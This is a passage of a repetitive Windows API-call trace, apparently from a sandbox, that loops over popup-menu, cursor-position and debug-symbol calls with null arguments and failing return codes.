(param_1=0x0, param_2=0x40, param_3=1335, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.266] GetLastError () returned 0x579 [0185.266] SetLastError (dwErrCode=0x579) [0185.266] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.266] SymCleanup (hProcess=0x0) returned 0 [0185.266] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.266] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.266] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.266] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=73, param_4=348, param_5=0x0, param_6=0x0) returned 0 [0185.266] GetLastError () returned 0x579 [0185.266] SetLastError (dwErrCode=0x579) [0185.266] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.266] SymCleanup (hProcess=0x0) returned 0 [0185.266] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.266] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.266] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.267] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.267] GetLastError () returned 0x579 [0185.267] SetLastError (dwErrCode=0x579) [0185.267] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.267] SymCleanup (hProcess=0x0) returned 0 [0185.267] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.267] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.267] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.267] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.267] GetLastError () returned 0x579 [0185.267] SetLastError (dwErrCode=0x579) [0185.267] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.267] SymCleanup (hProcess=0x0) returned 0 [0185.267] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.267] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.267] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.267] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.267] GetLastError () returned 0x579 [0185.267] SetLastError (dwErrCode=0x579) [0185.267] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.267] SymCleanup (hProcess=0x0) returned 0 [0185.267] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.267] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.267] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.268] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.268] GetLastError () returned 0x579 [0185.268] SetLastError (dwErrCode=0x579) [0185.268] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.268] SymCleanup (hProcess=0x0) returned 0 [0185.268] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.268] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.268] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.268] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=751, param_4=716, param_5=0x0, param_6=0x0) returned 0 [0185.268] GetLastError () returned 0x579 [0185.268] SetLastError (dwErrCode=0x579) [0185.268] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.268] SymCleanup (hProcess=0x0) returned 0 [0185.268] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.268] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.268] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.268] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.268] GetLastError () returned 0x579 [0185.268] SetLastError (dwErrCode=0x579) [0185.268] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.268] SymCleanup (hProcess=0x0) returned 0 [0185.268] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.268] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.268] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.269] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.269] GetLastError () returned 0x579 [0185.269] SetLastError (dwErrCode=0x579) [0185.269] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.269] SymCleanup (hProcess=0x0) returned 0 [0185.269] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.269] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.269] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.269] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.269] GetLastError () returned 0x579 [0185.269] SetLastError (dwErrCode=0x579) [0185.269] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.269] SymCleanup (hProcess=0x0) returned 0 [0185.269] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.269] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.269] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.269] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.269] GetLastError () returned 0x579 [0185.269] SetLastError (dwErrCode=0x579) [0185.269] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.269] SymCleanup (hProcess=0x0) returned 0 [0185.269] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.269] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.269] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.269] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=104, param_5=0x0, param_6=0x0) returned 0 [0185.270] GetLastError () returned 0x579 [0185.270] SetLastError (dwErrCode=0x579) [0185.270] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.270] SymCleanup (hProcess=0x0) returned 0 [0185.270] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.270] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.270] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.435] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.439] GetLastError () returned 0x579 [0185.439] SetLastError (dwErrCode=0x579) [0185.439] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.439] SymCleanup (hProcess=0x0) returned 0 [0185.439] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.439] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.439] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.439] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.439] GetLastError () returned 0x579 [0185.439] SetLastError (dwErrCode=0x579) [0185.439] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.439] SymCleanup (hProcess=0x0) returned 0 [0185.439] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.439] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.439] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.439] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.439] GetLastError () returned 0x579 [0185.439] SetLastError (dwErrCode=0x579) [0185.440] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.440] SymCleanup (hProcess=0x0) returned 0 [0185.440] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.440] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.440] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.440] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.440] GetLastError () returned 0x579 [0185.440] SetLastError (dwErrCode=0x579) [0185.440] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.440] SymCleanup (hProcess=0x0) returned 0 [0185.440] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.440] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.440] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.440] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=616, param_4=744, param_5=0x0, param_6=0x0) returned 0 [0185.440] GetLastError () returned 0x579 [0185.440] SetLastError (dwErrCode=0x579) [0185.440] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.440] SymCleanup (hProcess=0x0) returned 0 [0185.440] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.440] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.440] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.440] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.440] GetLastError () returned 0x579 [0185.440] SetLastError (dwErrCode=0x579) [0185.441] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.441] SymCleanup (hProcess=0x0) returned 0 [0185.441] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.441] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.441] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.441] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.441] GetLastError () returned 0x579 [0185.441] SetLastError (dwErrCode=0x579) [0185.441] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.441] SymCleanup (hProcess=0x0) returned 0 [0185.441] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.441] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.441] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.441] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.441] GetLastError () returned 0x579 [0185.441] SetLastError (dwErrCode=0x579) [0185.441] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.441] SymCleanup (hProcess=0x0) returned 0 [0185.441] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.441] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.441] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.441] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.441] GetLastError () returned 0x579 [0185.441] SetLastError (dwErrCode=0x579) [0185.441] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.442] SymCleanup (hProcess=0x0) returned 0 [0185.442] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.442] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.442] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.442] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1009, param_4=351, param_5=0x0, param_6=0x0) returned 0 [0185.442] GetLastError () returned 0x579 [0185.442] SetLastError (dwErrCode=0x579) [0185.442] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.442] SymCleanup (hProcess=0x0) returned 0 [0185.442] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.442] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.442] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.442] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.442] GetLastError () returned 0x579 [0185.442] SetLastError (dwErrCode=0x579) [0185.442] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.442] SymCleanup (hProcess=0x0) returned 0 [0185.442] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.442] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.442] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.442] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.442] GetLastError () returned 0x579 [0185.443] SetLastError (dwErrCode=0x579) [0185.443] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.443] SymCleanup (hProcess=0x0) returned 0 [0185.443] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.443] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.443] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.443] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.443] GetLastError () returned 0x579 [0185.443] SetLastError (dwErrCode=0x579) [0185.443] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.443] SymCleanup (hProcess=0x0) returned 0 [0185.443] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.443] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.443] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.443] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.443] GetLastError () returned 0x579 [0185.443] SetLastError (dwErrCode=0x579) [0185.443] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.443] SymCleanup (hProcess=0x0) returned 0 [0185.443] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.443] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.443] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.443] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=927, param_4=61, param_5=0x0, param_6=0x0) returned 0 [0185.443] GetLastError () returned 0x579 [0185.444] SetLastError (dwErrCode=0x579) [0185.444] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.444] SymCleanup (hProcess=0x0) returned 0 [0185.444] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.444] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.444] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.444] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.444] GetLastError () returned 0x579 [0185.444] SetLastError (dwErrCode=0x579) [0185.444] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.444] SymCleanup (hProcess=0x0) returned 0 [0185.444] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.444] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.444] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.444] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.444] GetLastError () returned 0x579 [0185.444] SetLastError (dwErrCode=0x579) [0185.444] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.444] SymCleanup (hProcess=0x0) returned 0 [0185.444] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.444] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.444] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.444] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.444] GetLastError () returned 0x579 [0185.445] SetLastError (dwErrCode=0x579) [0185.445] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.445] SymCleanup (hProcess=0x0) returned 0 [0185.445] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.445] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.445] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.445] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.445] GetLastError () returned 0x579 [0185.445] SetLastError (dwErrCode=0x579) [0185.445] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.445] SymCleanup (hProcess=0x0) returned 0 [0185.445] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.445] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.445] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.445] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=865, param_4=873, param_5=0x0, param_6=0x0) returned 0 [0185.445] GetLastError () returned 0x579 [0185.445] SetLastError (dwErrCode=0x579) [0185.445] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.445] SymCleanup (hProcess=0x0) returned 0 [0185.445] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.445] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.445] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.445] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.445] GetLastError () returned 0x579 [0185.445] SetLastError (dwErrCode=0x579) [0185.446] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.446] SymCleanup (hProcess=0x0) returned 0 [0185.446] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.446] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.446] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.446] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.446] GetLastError () returned 0x579 [0185.446] SetLastError (dwErrCode=0x579) [0185.446] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.446] SymCleanup (hProcess=0x0) returned 0 [0185.446] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.446] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.446] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.446] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.446] GetLastError () returned 0x579 [0185.446] SetLastError (dwErrCode=0x579) [0185.446] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.446] SymCleanup (hProcess=0x0) returned 0 [0185.446] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.446] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.446] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.446] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.446] GetLastError () returned 0x579 [0185.446] SetLastError (dwErrCode=0x579) [0185.447] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, 